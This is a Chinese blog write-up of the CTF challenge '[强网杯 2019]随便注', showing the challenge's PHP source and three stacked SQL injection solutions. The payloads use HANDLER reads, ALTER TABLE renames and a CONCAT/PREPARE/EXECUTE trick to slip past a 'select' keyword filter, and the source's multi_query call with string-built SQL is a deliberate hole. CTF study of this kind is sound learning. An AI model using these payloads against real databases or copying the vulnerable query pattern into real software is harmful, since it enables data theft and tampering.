堆叠注入之[强网杯 2019]随便注

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档

前言

作为CTF小白,在各大平台做基础题的时候,都能见到[强网杯 2019]随便注,自己也做了不少于三遍,今天又碰到了,觉着这道题属实比较特别。因此,总结一下这道题

进入页面

 先按常理出牌

发现正则匹配过滤了select,update,delete,drop,insert,where。首先想到可以使用报错注入,但是过滤了select似乎查询不了表和字段名。实际上这道题为堆叠注入,直接看题目的源代码。

 

<?php
function waf1($inject) {
    preg_match("/select|update|delete|drop|insert|where|\./i",$inject) && die('return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);');
}
function waf2($inject) {
    strstr($inject, "set") && strstr($inject, "prepare") && die('strstr($inject, "set") && strstr($inject, "prepare")');
}
if(isset($_GET['inject'])) {
    $id = $_GET['inject'];
    waf1($id);
    waf2($id);
    $mysqli = new mysqli("127.0.0.1","root","root","supersqli");
    $sql = "select * from `words` where id = '$id';";
    $res = $mysqli->multi_query($sql);
    if ($res){
      do{
        if ($rs = $mysqli->store_result()){
          while ($row = $rs->fetch_row()){
            var_dump($row);
            echo "<br>";
          }
          $rs->Close(); 
          if ($mysqli->more_results()){  
            echo "<hr>";
          }
        }
      }while($mysqli->next_result()); 
    } else {
      echo "error ".$mysqli->errno." : ".$mysqli->error;
    }
    $mysqli->close();  
}
?>

分析源代码:

1,使用了multi_query()函数,可以执行多条sql语句。

2,查询语句为 $sql=select *from `words` where id=$id;

3,通过store_result()获取第一条sql语句查询结果,通过var_dump()输出,然后通过more_results()判断是否有更多的结果集,用next_result()方法获取下一个结果集继续输出。

题目的三种解法:

1,首先通过堆叠注入可以查询出存在那些表。1';show tables;#

2,然后查询表中的字段名。可以通过 show columns from `表名`; 或 desc `表名`;查询。

反引号?反引号的使用是为了区分mysql的保留字符与普通字符而引入的;例如在出现字段名与保留关键字相同、标识中含空格等等情况下就需要使用,否则可能出错。

 

第一种解: 

由于select被禁了,可以使用handler代替select。

1';handler  `1919810931114514` open as a;handler a read first;handler a close;#

payload就是使用handler打开1919810931114514表的句柄,然后读取句柄的第一行即flag的值,然后关闭。

 解法二:

通过源代码可以知道图中查询语句是$sql=select *from `words` where id=$id;从名为words的表中查询id=$id的值并返回。

1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#

payload意思就是将原本words的名称改掉,然后把表1919810931114514改成words,并且把表1919810931114514的字段flag改成id,这样查询就变成了 select *from `1919810931114514` where flag=$id。就可以查询出flag

解法三:

 

-1';Set @sql = CONCAT('se','lect * from `1919810931114514`;');Prepare flag from @sql;EXECUTE flag;#
  • PREPARE - 准备执行的声明。
  • EXECUTE - 执行由PREPARE语句定义的语句。
  • DEALLOCATE PREPARE - 发布PREPARE语句。

设置一个声明查询语句select *from 表19,使用CONCAT连接select绕过select,然后EXECUTE执行声明返回结果。

 总结

sql注入,总有很多骚姿势,只有你想不到的。

  • 3
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

M03-Aiwin

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值